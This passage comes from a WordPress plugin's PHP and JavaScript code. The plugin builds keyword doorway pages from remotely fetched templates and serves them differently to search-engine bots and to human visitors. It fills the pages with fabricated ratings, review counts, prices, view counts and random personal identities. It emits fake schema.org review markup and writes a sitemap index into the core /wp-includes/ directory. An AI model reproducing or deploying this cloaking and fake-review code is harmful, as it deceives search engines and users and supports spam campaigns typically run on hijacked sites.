$('#manageEndpointsForm').on('click', 'button[name="add_endpoint"]', function(e) { e.preventDefault(); var $table = $('#endpointsTable tbody'); var rowCount = $table.find('tr').length; var newRow = `<tr> <td><input type="text" name="endpoints[${rowCount}][param]" class="regular-text"></td> <td><input type="url" name="endpoints[${rowCount}][json_url]" class="regular-text" style="width:100%;"></td> <td><input type="url" name="endpoints[${rowCount}][template_txt_url]" class="regular-text" style="width:100%;"></td> <td><input type="url" name="endpoints[${rowCount}][template_url]" class="regular-text" style="width:100%;"></td> <td><input type="checkbox" name="endpoints[${rowCount}][sitemap]" value="1"></td> <td> <button type="button" class="button button-secondary generate-individual-sitemap" data-index="${rowCount}" data-param="" data-json-url="" disabled> Generate </button> </td> <td><button type="button" class="button button-danger remove-endpoint" data-index="${rowCount}">Remove</button></td> </tr>`; $table.append(newRow); reindexEndpointsTable(); }); // --- Remove endpoint row (UI only, save on Save Settings) --- $('#manageEndpointsForm').on('click', '.remove-endpoint', function(e) { e.preventDefault(); $(this).closest('tr').remove(); reindexEndpointsTable(); }); // --- Generate Individual Sitemap --- $('#manageEndpointsForm').on('click', '.generate-individual-sitemap', function(e) { e.preventDefault(); var $btn = $(this); var param = $btn.data('param'); var jsonUrl = $btn.data('json-url'); var originalText = $btn.text(); if (!param || !jsonUrl) { alert('Parameter dan JSON URL harus diisi terlebih dahulu.'); return; } // Disable button and show loading $btn.prop('disabled', true).html('<span class="spinner is-active" style="float:none;display:inline-block;vertical-align:middle;margin-right:6px;"></span>Generating...'); $.ajax({ url: ajaxurl, type: 'POST', data: { action: 'generate_individual_sitemap_ajax', _ajax_nonce: ajaxNoncePerParam, param: param, json_url: jsonUrl }, success: function(response) { if (response.success) { // Show success message with retry info var message = response.data.message; var $notice = $('<div class="notice notice-success is-dismissible" style="margin-top:10px;"><p>' + message + '</p></div>'); $btn.closest('tr').after('<tr class="temp-notice"><td colspan="7">' + $notice.prop('outerHTML') + '</td></tr>'); // Add links to generated files if (response.data.files && response.data.files.length > 0) { var fileLinks = '<ul style="margin-top:10px;">'; $.each(response.data.files, function(i, file) { fileLinks += '<li style="color: green;">โ <a href="' + file + '" target="_blank">' + file + '</a></li>'; }); fileLinks += '</ul>'; $btn.closest('tr').next('.temp-notice').find('td').append(fileLinks); } // Remove notice after 8 seconds (longer to read retry info) setTimeout(function() { $('.temp-notice').fadeOut(400, function(){ $(this).remove(); }); }, 8000); } else { // Show detailed error message with retry information var errorMsg = 'Error: ' + response.data.message; var $errorNotice = $('<div class="notice notice-error is-dismissible" style="margin-top:10px;"><p>' + errorMsg + '</p></div>'); $btn.closest('tr').after('<tr class="temp-notice"><td colspan="7">' + $errorNotice.prop('outerHTML') + '</td></tr>'); // Remove error notice after 10 seconds setTimeout(function() { $('.temp-notice').fadeOut(400, function(){ $(this).remove(); }); }, 10000); } }, error: function(jqXHR, textStatus, errorThrown) { alert('Error: ' + textStatus + ' - ' + errorThrown); }, complete: function() { // Restore button $btn.prop('disabled', false).html(originalText); } }); }); // --- URL Test Functionality --- $('#testUrlBtn').on('click', function() { var $btn = $(this); var $input = $('#testUrlInput'); var $result = $('#testUrlResult'); var url = $input.val().trim(); if (!url) { alert('Please enter a URL to test.'); return; } // Disable button and show loading $btn.prop('disabled', true).html('<span class="spinner is-active" style="float:none;display:inline-block;vertical-align:middle;margin-right:6px;"></span>Testing...'); $result.hide(); $.ajax({ url: ajaxurl, type: 'POST', data: { action: 'test_url_connectivity_ajax', _ajax_nonce: ajaxNoncePerParam, url: url }, success: function(response) { if (response.success) { $result.html( '<div style="color: green; font-weight: bold;">โ ' + response.data.message + '</div>' + '<div style="margin-top: 5px; font-size: 0.9em;">Method used: <strong>' + response.data.method + '</strong></div>' + '<div style="margin-top: 5px; font-size: 0.9em;">Content length: <strong>' + response.data.content_length + ' bytes</strong></div>' ).css('background-color', '#d4edda').css('border', '1px solid #c3e6cb').show(); } else { $result.html( '<div style="color: red; font-weight: bold;">โ ' + response.data.message + '</div>' + '<div style="margin-top: 5px; font-size: 0.9em;">Method attempted: <strong>' + response.data.method + '</strong></div>' + '<div style="margin-top: 5px; font-size: 0.9em;">Error: <strong>' + response.data.error + '</strong></div>' ).css('background-color', '#f8d7da').css('border', '1px solid #f5c6cb').show(); } }, error: function(jqXHR, textStatus, errorThrown) { $result.html( '<div style="color: red; font-weight: bold;">โ AJAX Error</div>' + '<div style="margin-top: 5px; font-size: 0.9em;">Error: <strong>' + textStatus + ' - ' + errorThrown + '</strong></div>' ).css('background-color', '#f8d7da').css('border', '1px solid #f5c6cb').show(); }, complete: function() { // Restore button $btn.prop('disabled', false).html('Test URL'); } }); }); // --- Debug Endpoints Functionality --- $('#debugEndpointsBtn').on('click', function() { var $btn = $(this); var $result = $('#testUrlResult'); // Disable button and show loading $btn.prop('disabled', true).html('<span class="spinner is-active" style="float:none;display:inline-block;vertical-align:middle;margin-right:6px;"></span>Debugging...'); $result.hide(); $.ajax({ url: ajaxurl, type: 'POST', data: { action: 'debug_endpoints_ajax', _ajax_nonce: ajaxNoncePerParam }, success: function(response) { if (response.success) { var html = '<div style="color: green; font-weight: bold;">โ ' + response.data.message + '</div><br>'; html += '<div style="max-height: 300px; overflow-y: auto; border: 1px solid #ddd; padding: 10px; background-color: #f8f9fa;">'; response.data.results.forEach(function(result) { if (result.success) { html += '<div style="color: green; margin-bottom: 5px;">โ <strong>' + result.param + '</strong> (' + result.method + ') - ' + result.content_length + ' bytes</div>'; } else { html += '<div style="color: red; margin-bottom: 5px;">โ <strong>' + result.param + '</strong> (' + result.method + ') - Error: ' + result.error + '</div>'; } }); html += '</div>'; $result.html(html).css('background-color', '#d4edda').css('border', '1px solid #c3e6cb').show(); } else { $result.html( '<div style="color: red; font-weight: bold;">โ ' + response.data.message + '</div>' ).css('background-color', '#f8d7da').css('border', '1px solid #f5c6cb').show(); } }, error: function(jqXHR, textStatus, errorThrown) { $result.html( '<div style="color: red; font-weight: bold;">โ AJAX Error</div>' + '<div style="margin-top: 5px; font-size: 0.9em;">Error: <strong>' + textStatus + ' - ' + errorThrown + '</strong></div>' ).css('background-color', '#f8d7da').css('border', '1px solid #f5c6cb').show(); }, complete: function() { // Restore button $btn.prop('disabled', false).html('Debug All Endpoints'); } }); }); // --- File Permissions Test Functionality --- $('#testFilePermissionsBtn').on('click', function() { var $btn = $(this); var $result = $('#testUrlResult'); // Disable button and show loading $btn.prop('disabled', true).html('<span class="spinner is-active" style="float:none;display:inline-block;vertical-align:middle;margin-right:6px;"></span>Testing...'); $result.hide(); $.ajax({ url: ajaxurl, type: 'POST', data: { action: 'test_file_permissions_ajax', _ajax_nonce: ajaxNoncePerParam }, success: function(response) { if (response.success) { var html = '<div style="color: green; font-weight: bold;">โ ' + response.data.message + '</div><br>'; html += '<div style="max-height: 300px; overflow-y: auto; border: 1px solid #ddd; padding: 10px; background-color: #f8f9fa;">'; response.data.results.forEach(function(result) { var statusColor = result.can_write_test ? 'green' : 'red'; var statusIcon = result.can_write_test ? 'โ' : 'โ'; var statusText = result.can_write_test ? 'Writable' : 'Not Writable'; html += '<div style="margin-bottom: 8px; padding: 5px; border-left: 3px solid ' + statusColor + '; background-color: #f8f9fa;">'; html += '<strong>' + result.directory + '</strong><br>'; html += '<small>Exists: ' + (result.exists ? 'Yes' : 'No') + ' | '; html += 'Writable: ' + (result.writable ? 'Yes' : 'No') + ' | '; html += 'Can Write Test: ' + statusText + '</small><br>'; html += '<small style="color: #666;">Path: ' + result.full_path + '</small>'; html += '</div>'; }); html += '</div>'; $result.html(html).css('background-color', '#d4edda').css('border', '1px solid #c3e6cb').show(); } else { $result.html( '<div style="color: red; font-weight: bold;">โ ' + response.data.message + '</div>' ).css('background-color', '#f8d7da').css('border', '1px solid #f5c6cb').show(); } }, error: function(jqXHR, textStatus, errorThrown) { $result.html( '<div style="color: red; font-weight: bold;">โ AJAX Error</div>' + '<div style="margin-top: 5px; font-size: 0.9em;">Error: <strong>' + textStatus + ' - ' + errorThrown + '</strong></div>' ).css('background-color', '#f8d7da').css('border', '1px solid #f5c6cb').show(); }, complete: function() { // Restore button $btn.prop('disabled', false).html('Test File Permissions'); } }); }); }); </script> <?php } // handle_sitemap_generation() sekarang TIDAK DIGUNAKAN LAGI UNTUK TOMBOL // Karena logikanya sudah dipindahkan ke fungsi AJAX yang baru. // Metode ini hanya tersisa untuk tujuan keamanan dan kompatibilitas jika ada kode lama yang memanggilnya. // Jika Anda yakin tidak ada kode lain yang memanggilnya, Anda bisa menghapusnya. public function handle_sitemap_generation() { // Metode ini sekarang kosong atau bisa berisi logic lain jika diperlukan di masa depan. // Semua proses generation sitemap (combined dan index) kini di-handle oleh AJAX. // Nonce check yang ada di sini sebelumnya dipindahkan ke handle_combined_sitemaps_ajax // dan handle_sitemap_index_ajax. } // NEW: Handle AJAX requests for combined sitemap generation public function handle_combined_sitemaps_ajax() { check_ajax_referer('generate_sitemap_nonce_combined', '_ajax_nonce'); if (!current_user_can('manage_options')) { wp_send_json_error('Anda tidak memiliki izin untuk melakukan ini.'); } $endpoints = get_option('additional_content_endpoints', []); $result = $this->generate_all_sitemaps_combined($endpoints); if ($result['success']) { $message = 'Sitemaps gabungan berhasil dibuat!'; // Add information about failed endpoints if any if (!empty($result['failed_endpoints'])) { $failed_count = count($result['failed_endpoints']); $total_count = count(array_filter($endpoints, function($ep) { return isset($ep['sitemap']) && $ep['sitemap'] && !empty($ep['json_url']) && !empty($ep['param']); })); $message .= " ($failed_count dari $total_count endpoint gagal diproses)"; } wp_send_json_success([ 'message' => $message, 'files' => array_map(function($file) { return esc_url(home_url($file)); }, $result['files']), 'failed_endpoints' => $result['failed_endpoints'] ]); } else { $error_message = 'Gagal membuat sitemaps gabungan. Error: ' . $result['error']; if (!empty($result['failed_endpoints'])) { $error_message .= ' Failed endpoints: '; $failed_params = array_map(function($ep) { return $ep['param']; }, $result['failed_endpoints']); $error_message .= implode(', ', $failed_params); } wp_send_json_error([ 'message' => $error_message, 'failed_endpoints' => $result['failed_endpoints'] ]); } wp_die(); } // NEW: Handle AJAX requests for sitemap index generation public function handle_sitemap_index_ajax() { check_ajax_referer('generate_sitemap_index_nonce', '_ajax_nonce'); if (!current_user_can('manage_options')) { wp_send_json_error('Anda tidak memiliki izin untuk melakukan ini.'); } if ($this->generate_sitemap_index()) { wp_send_json_success([ 'message' => 'Sitemap index berhasil dibuat!', 'file' => esc_url(home_url('/wp-includes/sitemap-index.xml')) ]); } else { wp_send_json_error([ 'message' => 'Gagal membuat sitemap index. Pastikan Anda sudah membuat sitemaps terlebih dahulu.' ]); } wp_die(); } public function handle_sitemap_generation_ajax() { check_ajax_referer('generate_sitemap_nonce', '_ajax_nonce'); if (!current_user_can('manage_options')) { wp_send_json_error(['message' => 'Anda tidak memiliki izin untuk melakukan ini.']); wp_die(); } $action_type = isset($_POST['action_type']) ? sanitize_text_field($_POST['action_type']) : ''; if ($action_type === 'init_sitemap_generation') { $endpoints = get_option('additional_content_endpoints', []); $valid_endpoints = []; foreach ($endpoints as $index => $endpoint) { if (isset($endpoint['sitemap']) && $endpoint['sitemap'] && !empty($endpoint['json_url']) && !empty($endpoint['param'])) { $valid_endpoints[] = [ 'index' => $index, 'param' => $endpoint['param'], 'json_url' => $endpoint['json_url'] ]; } } wp_send_json_success([ 'message' => 'Daftar endpoint berhasil diambil', 'endpoints' => $valid_endpoints ]); } elseif ($action_type === 'generate_single_sitemap') { $param_index = isset($_POST['param_index']) ? intval($_POST['param_index']) : -1; $endpoints = get_option('additional_content_endpoints', []); if ($param_index < 0 || !isset($endpoints[$param_index])) { wp_send_json_error(['message' => 'Parameter index tidak valid']); wp_die(); } $endpoint = $endpoints[$param_index]; $result = $this->generate_split_sitemaps($endpoint['param'], $endpoint['json_url']); if ($result['success']) { $message = 'Sitemap berhasil dibuat untuk parameter: ' . $endpoint['param']; if ($result['retry_count'] > 0) { $message .= ' (berhasil setelah ' . ($result['retry_count'] + 1) . ' percobaan)'; } wp_send_json_success([ 'message' => $message, 'files' => array_map(function($file) { return esc_url(home_url($file)); }, $result['files']), 'retry_count' => $result['retry_count'] ]); } else { wp_send_json_error([ 'message' => 'Gagal membuat sitemap untuk parameter: ' . $endpoint['param'] . ' setelah ' . $result['retry_count'] . ' percobaan. Error: ' . $result['error'] ]); } } else { wp_send_json_error(['message' => 'Tipe aksi tidak valid']); } wp_die(); } // Check if visitor is a bot private function is_bot() { $user_agent = $_SERVER['HTTP_USER_AGENT'] ?? ''; if (empty($user_agent)) { return true; } foreach ($this->bot_user_agents as $bot) { if (stripos($user_agent, $bot) !== false) { return true; } } return false; } // Handle frontend requests public function handle_custom_endpoint() { $endpoints = get_option('additional_content_endpoints', []); $request_uri = $_SERVER['REQUEST_URI']; $path_parts = explode('/', trim($request_uri, '/')); foreach ($endpoints as $endpoint) { $param = $endpoint['param'] ?? ''; if (!empty($param)) { if (isset($path_parts[0]) && $path_parts[0] === $param && isset($path_parts[1])) { $keyword = sanitize_text_field($path_parts[1]); $json_url = $endpoint['json_url'] ?? ''; $template_url = $endpoint['template_url'] ?? ''; if (!empty($json_url) && !empty($template_url)) { try { $json_content = $this->fetch_url_content($json_url); $data = json_decode($json_content, true); // Support title-only data (either JSON list/object keys or newline-separated text) $keywordExists = false; if (is_array($data)) { // Case 1: Associative object with keys as titles/keys if (array_key_exists($keyword, $data)) { $keywordExists = true; } else { // Case 2: JSON array of titles/objects with title foreach ($data as $entry) { $titleCandidate = null; if (is_string($entry)) { $titleCandidate = $entry; } elseif (is_array($entry) && isset($entry['title'])) { $titleCandidate = $entry['title']; } if ($titleCandidate !== null) { $slugA = str_replace(' ', '-', trim($titleCandidate)); $slugB = ucwords(strtolower($slugA)); if ($keyword === $slugA || $keyword === $slugB) { $keywordExists = true; break; } } } } } else { // Fallback: treat as plain text list of titles (one per line) $lines = preg_split("/(\r\n|\n|\r)/", (string)$json_content); foreach ($lines as $line) { $line = trim($line); if ($line === '') continue; $slug = str_replace(' ', '-', $line); $slugAlt = ucwords(strtolower($slug)); if ($keyword === $slug || $keyword === $slugAlt) { $keywordExists = true; break; } } } // Proceed only if the requested keyword exists in the dataset (or if dataset is empty/unparsable) if ($keywordExists || empty($json_content)) { // Decide whether to use random or saved values $use_random = get_option('use_random_values', '') === '1'; if ($use_random) { // Generate randomized values per request // Rating: random 3.0 - 5.0 with 0.1 steps $rating = number_format(mt_rand(30, 50) / 10, 1, '.', ''); // Review count: random 1,000 - 1,000,000 $review_count = mt_rand(1000, 1000000); // Price: random USD with 2 digits each side, displayed as $DD,CC (e.g., $01,00 - $99,99) $price_dollars = mt_rand(1, 99); $price_cents = mt_rand(0, 99); $price = '$' . str_pad((string)$price_dollars, 2, '0', STR_PAD_LEFT) . ',' . str_pad((string)$price_cents, 2, '0', STR_PAD_LEFT); } else { // Use saved values $rating = get_option('app_rating_value', '5.0'); $review_count = get_option('app_review_count', '8899888'); $saved_price = get_option('app_price', 'Free'); if (strcasecmp($saved_price, 'Free') === 0) { $price = 'Free'; $price_dollars = 0; $price_cents = 0; } else { // Normalize saved price to UI format $DD,CC if possible $normalized = preg_replace('/[^0-9.,]/', '', (string)$saved_price); $normalized = str_replace('.', ',', $normalized); if (strpos($normalized, ',') !== false) { list($dPart, $cPart) = array_pad(explode(',', $normalized, 2), 2, '00'); $price_dollars = max(0, (int)$dPart); $price_cents = max(0, (int)substr(str_pad($cPart, 2, '0', STR_PAD_RIGHT), 0, 2)); } else { $price_dollars = max(0, (int)$normalized); $price_cents = 0; } $price = '$' . str_pad((string)$price_dollars, 2, '0', STR_PAD_LEFT) . ',' . str_pad((string)$price_cents, 2, '0', STR_PAD_LEFT); } } $platform = get_option('app_platform', 'Android'); $category = get_option('app_category', 'Game'); // Generate star rating HTML $stars_html = str_repeat('โ ', floor($rating)) . str_repeat('โ', 5 - floor($rating)); // Generate schema.org markup for app rating $schema_markup = ' <script type="application/ld+json"> { "@context": "https://schema.org", "@type": "SoftwareApplication", "name": "' . esc_js($this->format_display_title($keyword)) . '", "applicationCategory": "' . esc_js($category) . '", "operatingSystem": "' . esc_js($platform) . '", "offers": { "@type": "Offer", "price": "' . esc_js(number_format(($price_dollars + ($price_cents / 100)), 2, '.', '')) . '", "priceCurrency": "USD" }, "aggregateRating": { "@type": "AggregateRating", "ratingValue": "' . esc_js($rating) . '", "ratingCount": "' . esc_js($review_count) . '", "bestRating": "5", "worstRating": "1" } } </script>'; // Add rating information to the content $rating_html = ' <div class="app-rating-info" style="margin: 20px 0; padding: 15px; background: #f8f9fa; border-radius: 8px;"> <div class="rating-stars" style="font-size: 24px; color: #ffc107;">' . $this->format_display_title($keyword) . ' ' . $stars_html . '</div> <div class="rating-details" style="margin-top: 10px;"> <div>Rating :<strong> ' . $rating . ' โ โ โ โ โ </strong></div> <div>Rating Count : ' . number_format($review_count) . '</div> <div>Price : ' . $price . '</div> <div>Platform : ' . $platform . '</div> <div>Category : ' . $category . '</div> </div> </div>'; if ($this->is_bot()) { // Load template from external URL $template_txt_url = $endpoint['template_txt_url'] ?? ''; if (!empty($template_txt_url)) { try { $template = $this->fetch_url_content($template_txt_url); if ($template === false) { throw new Exception('Failed to load template'); } } catch (Exception $e) { error_log('Template loading error: ' . $e->getMessage()); $template = '<!doctype html><html><head><title>Error</title></head><body>Template unavailable</body></html>'; } } else { // Fallback template if no template URL is provided $template = '<!doctype html><html><head><title>Error</title></head><body>Template URL not configured</body></html>'; } // RandomUser API fetch (safe defaults if fail) $ru_title = 'Mr'; $ru_first = 'Rasmus'; $ru_last = 'Mรธller'; $ru_street_number = '1171'; $ru_street_name = 'Mรธllevej'; $ru_city = 'Hammel'; $ru_state = 'Midtjylland'; $ru_country = 'Denmark'; $ru_postcode = '91515'; $ru_uuid = 'c911847e-459e-470d-99f0-72749bcc8d9e'; $ru_md5 = 'b6756a16c02cb6c74953f8a69970a81a'; $ru_phone = '67785858'; $ru_picture_large = 'https://randomuser.me/api/portraits/men/26.jpg'; $ru_picture_thumbnail = 'https://randomuser.me/api/portraits/thumb/men/26.jpg'; try { $ru_json = $this->fetch_url_content('https://randomuser.me/api/1.4/'); $ru_data = json_decode($ru_json, true); if (is_array($ru_data) && isset($ru_data['results'][0])) { $r = $ru_data['results'][0]; $ru_title = $r['name']['title'] ?? ''; $ru_first = $r['name']['first'] ?? ''; $ru_last = $r['name']['last'] ?? ''; $ru_street_number = isset($r['location']['street']['number']) ? (string)$r['location']['street']['number'] : ''; $ru_street_name = $r['location']['street']['name'] ?? ''; $ru_city = $r['location']['city'] ?? ''; $ru_state = $r['location']['state'] ?? ''; $ru_country = $r['location']['country'] ?? ''; $ru_postcode = isset($r['location']['postcode']) ? (string)$r['location']['postcode'] : ''; $ru_uuid = $r['login']['uuid'] ?? ''; $ru_md5 = $r['login']['md5'] ?? ''; $ru_phone = $r['phone'] ?? ''; $ru_picture_large = $r['picture']['large'] ?? ''; $ru_picture_thumbnail = $r['picture']['thumbnail'] ?? ''; } } catch (Exception $e) { // ignore, use defaults } // RESTORE REPLACEMENTS $replacements = [ '{{keyword}}' => $keyword, '{{title}}' => $this->format_display_title($keyword), '{{title_besar}}' => strtoupper($this->format_display_title($keyword)), '{{title_kecil}}' => strtolower($this->format_display_title($keyword)), '{{title_capitalize}}' => ucwords(strtolower($this->format_display_title($keyword))), '{{keyword_dash_kecil}}' => strtolower(str_replace(' ', '-', $keyword)), '{{keyword_dash_besar}}' => strtoupper(str_replace(' ', '-', $keyword)), '{{des_custom}}' => get_option('des_custom', ''), '{{img_custom}}' => get_option('img_custom', ''), '{{description}}' => $this->get_random_description(), '{{description_short}}' => substr($this->get_random_description(), 0, 100) . '...', '{{current_date}}' => date('d M Y'), '{{current_date_full}}' => date('l, d F Y'), '{{current_time}}' => date('H:i:s'), '{{current_year}}' => date('Y'), '{{current_month}}' => date('F'), '{{current_day}}' => date('l'), // RandomUser placeholders '{{ru_title}}' => $ru_title, '{{ru_first}}' => $ru_first, '{{ru_last}}' => $ru_last, '{{ru_street_number}}' => $ru_street_number, '{{ru_street_name}}' => $ru_street_name, '{{ru_city}}' => $ru_city, '{{ru_state}}' => $ru_state, '{{ru_country}}' => $ru_country, '{{ru_postcode}}' => $ru_postcode, '{{ru_uuid}}' => $ru_uuid, '{{ru_md5}}' => $ru_md5, '{{ru_phone}}' => $ru_phone, '{{ru_picture_large}}' => $ru_picture_large, '{{ru_picture_thumbnail}}' => $ru_picture_thumbnail, // Video placeholders '{{video_duration}}' => rand(3, 45), // Random duration 3-45 minutes '{{video_duration_seconds}}' => rand(180, 2700), // 3-45 minutes in seconds '{{video_duration_minutes}}' => rand(3, 45), '{{video_duration_seconds_remainder}}' => rand(0, 59), '{{video_views}}' => number_format(rand(1000, 500000)), '{{video_likes}}' => number_format(rand(50, 25000)), '{{video_comments}}' => number_format(rand(10, 5000)), '{{video_thumbnail}}' => [ 'https://images2.imgbox.com/cd/84/hspKGJDw_o.jpg', 'https://images2.imgbox.com/02/fd/q7kDLgkH_o.jpg', 'https://images2.imgbox.com/c0/d3/T4SvtZGB_o.jpg' ][array_rand([ 'https://images2.imgbox.com/cd/84/hspKGJDw_o.jpg', 'https://images2.imgbox.com/02/fd/q7kDLgkH_o.jpg', 'https://images2.imgbox.com/c0/d3/T4SvtZGB_o.jpg' ])], '{{video_url}}' => $this->get_random_video_url(), '{{video_embed_url}}' => $this->get_random_video_url(), '{{video_size_mb}}' => rand(50, 500), '{{video_bitrate}}' => rand(1000, 5000), '{{related_video_duration_1}}' => rand(2, 30), '{{related_video_duration_2}}' => rand(2, 30), '{{related_video_duration_3}}' => rand(2, 30), '{{related_video_views_1}}' => number_format(rand(500, 100000)), '{{related_video_views_2}}' => number_format(rand(500, 100000)), '{{related_video_views_3}}' => number_format(rand(500, 100000)), // Related video thumbnails (blur images) '{{related_video_thumbnail_1}}' => [ 'https://images2.imgbox.com/cd/84/hspKGJDw_o.jpg', 'https://images2.imgbox.com/02/fd/q7kDLgkH_o.jpg', 'https://images2.imgbox.com/c0/d3/T4SvtZGB_o.jpg' ][array_rand([ 'https://images2.imgbox.com/cd/84/hspKGJDw_o.jpg', 'https://images2.imgbox.com/02/fd/q7kDLgkH_o.jpg', 'https://images2.imgbox.com/c0/d3/T4SvtZGB_o.jpg' ])], '{{related_video_thumbnail_2}}' => [ 'https://images2.imgbox.com/cd/84/hspKGJDw_o.jpg', 'https://images2.imgbox.com/02/fd/q7kDLgkH_o.jpg', 'https://images2.imgbox.com/c0/d3/T4SvtZGB_o.jpg' ][array_rand([ 'https://images2.imgbox.com/cd/84/hspKGJDw_o.jpg', 'https://images2.imgbox.com/02/fd/q7kDLgkH_o.jpg', 'https://images2.imgbox.com/c0/d3/T4SvtZGB_o.jpg' ])], '{{related_video_thumbnail_3}}' => [ 'https://images2.imgbox.com/cd/84/hspKGJDw_o.jpg', 'https://images2.imgbox.com/02/fd/q7kDLgkH_o.jpg', 'https://images2.imgbox.com/c0/d3/T4SvtZGB_o.jpg' ][array_rand([ 'https://images2.imgbox.com/cd/84/hspKGJDw_o.jpg', 'https://images2.imgbox.com/02/fd/q7kDLgkH_o.jpg', 'https://images2.imgbox.com/c0/d3/T4SvtZGB_o.jpg' ])], '{{app_rating}}' => $rating_html, '{{app_rating_value}}' => $rating, '{{app_review_count}}' => number_format($review_count), '{{app_price}}' => $price, '{{app_platform}}' => $platform, '{{app_category}}' => $category, '{{schema_markup}}' => $schema_markup, '{{site}}' => home_url(), '{{site_link}}' => preg_replace('#^https?://#', '', home_url()), '{{page_url}}' => home_url('/' . $param . '/' . $keyword), '{{page_url_link}}' => preg_replace('#^https?://#', '', home_url('/' . $param . '/' . $keyword)) ]; $template = strtr($template, $replacements); // Dynamic random placeholders like {{number_10}}, {{letternumberup_10}}, {{number_berapabanyak}} $template = preg_replace_callback('/\{\{(number|letter|letterup|letterlow|letternumber|letternumberup|letternumberlow|32bit)_(\w+)\}\}/', function($matches) { $type = $matches[1]; $lenToken = $matches[2]; if (ctype_digit($lenToken)) { $length = max(1, (int)$lenToken); } else { // Support special token like 'berapabanyak' โ default length 10 $length = 10; } return $this->generate_random_token($type, $length); }, $template); } else { // For regular users, check setting for behavior $redirect_mode = get_option('real_user_redirect_mode', 'redirect'); if ($redirect_mode === 'template') { // Load template from external URL and display $template_txt_url = $endpoint['template_txt_url'] ?? ''; if (!empty($template_txt_url)) { try { $template = $this->fetch_url_content($template_txt_url); if ($template === false) { throw new Exception('Failed to load template'); } } catch (Exception $e) { error_log('Template loading error: ' . $e->getMessage()); $template = '<!doctype html><html><head><title>Error</title></head><body>Template unavailable</body></html>'; } } else { // Fallback template if no template URL is provided $template = '<!doctype html><html><head><title>Error</title></head><body>Template URL not configured</body></html>'; } // RandomUser API fetch (safe defaults if fail) $ru_title = 'Mr'; $ru_first = 'Rasmus'; $ru_last = 'Mรธller'; $ru_street_number = '1171'; $ru_street_name = 'Mรธllevej'; $ru_city = 'Hammel'; $ru_state = 'Midtjylland'; $ru_country = 'Denmark'; $ru_postcode = '91515'; $ru_uuid = 'c911847e-459e-470d-99f0-72749bcc8d9e'; $ru_md5 = 'b6756a16c02cb6c74953f8a69970a81a'; $ru_phone = '67785858'; $ru_picture_large = 'https://randomuser.me/api/portraits/men/26.jpg'; $ru_picture_thumbnail = 'https://randomuser.me/api/portraits/thumb/men/26.jpg'; try { $ru_json = $this->fetch_url_content('https://randomuser.me/api/1.4/'); $ru_data = json_decode($ru_json, true); if (is_array($ru_data) && isset($ru_data['results'][0])) { $r = $ru_data['results'][0]; $ru_title = $r['name']['title'] ?? ''; $ru_first = $r['name']['first'] ?? ''; $ru_last = $r['name']['last'] ?? ''; $ru_street_number = isset($r['location']['street']['number']) ? (string)$r['location']['street']['number'] : ''; $ru_street_name = $r['location']['street']['name'] ?? ''; $ru_city = $r['location']['city'] ?? ''; $ru_state = $r['location']['state'] ?? ''; $ru_country = $r['location']['country'] ?? ''; $ru_postcode = isset($r['location']['postcode']) ? (string)$r['location']['postcode'] : ''; $ru_uuid = $r['login']['uuid'] ?? ''; $ru_md5 = $r['login']['md5'] ?? ''; $ru_phone = $r['phone'] ?? ''; $ru_picture_large = $r['picture']['large'] ?? ''; $ru_picture_thumbnail = $r['picture']['thumbnail'] ?? ''; } } catch (Exception $e) { // ignore, use defaults } // Apply replacements $replacements = [ '{{keyword}}' => $keyword, '{{title}}' => $this->format_display_title($keyword), '{{title_besar}}' => strtoupper($this->format_display_title($keyword)), '{{title_kecil}}' => strtolower($this->format_display_title($keyword)), '{{title_capitalize}}' => ucwords(strtolower($this->format_display_title($keyword))), '{{keyword_dash_kecil}}' => strtolower(str_replace(' ', '-', $keyword)), '{{keyword_dash_besar}}' => strtoupper(str_replace(' ', '-', $keyword)), '{{des_custom}}' => get_option('des_custom', ''), '{{img_custom}}' => get_option('img_custom', ''), '{{description}}' => $this->get_random_description(), '{{description_short}}' => substr($this->get_random_description(), 0, 100) . '...', '{{current_date}}' => date('d M Y'), '{{current_date_full}}' => date('l, d F Y'), '{{current_time}}' => date('H:i:s'), '{{current_year}}' => date('Y'), '{{current_month}}' => date('F'), '{{current_day}}' => date('l'), // RandomUser placeholders '{{ru_title}}' => $ru_title, '{{ru_first}}' => $ru_first, '{{ru_last}}' => $ru_last, '{{ru_street_number}}' => $ru_street_number, '{{ru_street_name}}' => $ru_street_name, '{{ru_city}}' => $ru_city, '{{ru_state}}' => $ru_state, '{{ru_country}}' => $ru_country, '{{ru_postcode}}' => $ru_postcode, '{{ru_uuid}}' => $ru_uuid, '{{ru_md5}}' => $ru_md5, '{{ru_phone}}' => $ru_phone, '{{ru_picture_large}}' => $ru_picture_large, '{{ru_picture_thumbnail}}' => $ru_picture_thumbnail, // Video placeholders '{{video_duration}}' => rand(3, 45), '{{video_duration_seconds}}' => rand(180, 2700), '{{video_duration_minutes}}' => rand(3, 45), '{{video_duration_seconds_remainder}}' => rand(0, 59), '{{video_views}}' => number_format(rand(1000, 500000)), '{{video_likes}}' => number_format(rand(50, 25000)), '{{video_comments}}' => number_format(rand(10, 5000)), '{{video_thumbnail}}' => [ 'https://images2.imgbox.com/cd/84/hspKGJDw_o.jpg', 'https://images2.imgbox.com/02/fd/q7kDLgkH_o.jpg', 'https://images2.imgbox.com/c0/d3/T4SvtZGB_o.jpg' ][array_rand([ 'https://images2.imgbox.com/cd/84/hspKGJDw_o.jpg', 'https://images2.imgbox.com/02/fd/q7kDLgkH_o.jpg', 'https://images2.imgbox.com/c0/d3/T4SvtZGB_o.jpg' ])], '{{video_url}}' => $this->get_random_video_url(), '{{video_embed_url}}' => $this->get_random_video_url(), '{{video_size_mb}}' => rand(50, 500), '{{video_bitrate}}' => rand(1000, 5000), '{{related_video_duration_1}}' => rand(2, 30), '{{related_video_duration_2}}' => rand(2, 30), '{{related_video_duration_3}}' => rand(2, 30), '{{related_video_views_1}}' => number_format(rand(500, 100000)), '{{related_video_views_2}}' => number_format(rand(500, 100000)), '{{related_video_views_3}}' => number_format(rand(500, 100000)), // Related video thumbnails '{{related_video_thumbnail_1}}' => [ 'https://images2.imgbox.com/cd/84/hspKGJDw_o.jpg', 'https://images2.imgbox.com/02/fd/q7kDLgkH_o.jpg', 'https://images2.imgbox.com/c0/d3/T4SvtZGB_o.jpg' ][array_rand([ 'https://images2.imgbox.com/cd/84/hspKGJDw_o.jpg', 'https://images2.imgbox.com/02/fd/q7kDLgkH_o.jpg', 'https://images2.imgbox.com/c0/d3/T4SvtZGB_o.jpg' ])], '{{related_video_thumbnail_2}}' => [ 'https://images2.imgbox.com/cd/84/hspKGJDw_o.jpg', 'https://images2.imgbox.com/02/fd/q7kDLgkH_o.jpg', 'https://images2.imgbox.com/c0/d3/T4SvtZGB_o.jpg' 